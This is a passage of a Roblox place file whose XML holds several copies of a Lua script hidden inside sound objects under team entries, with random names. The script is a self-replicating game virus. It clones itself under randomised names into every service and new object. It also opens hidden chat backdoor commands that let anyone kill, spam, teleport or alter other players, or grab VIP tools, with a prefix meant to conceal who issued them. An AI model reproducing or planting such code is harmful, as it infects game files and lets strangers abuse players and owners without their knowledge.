local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Team" referent="RBX977">
			<Properties>
				<bool name="AutoAssignable">true</bool>
				<bool name="AutoColorCharacters">true</bool>
				<string name="Name">Checkpoint-1</string>
				<int name="Score">0</int>
				<int name="TeamColor">1004</int>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="StockSound" referent="RBX978">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">wjge</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX979">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">r8bcm</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Team" referent="RBX980">
			<Properties>
				<bool name="AutoAssignable">true</bool>
				<bool name="AutoColorCharacters">true</bool>
				<string name="Name">Climbers</string>
				<int name="Score">0</int>
				<int name="TeamColor">1010</int>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="StockSound" referent="RBX981">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">1qrmh1</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX982">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zz2z</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
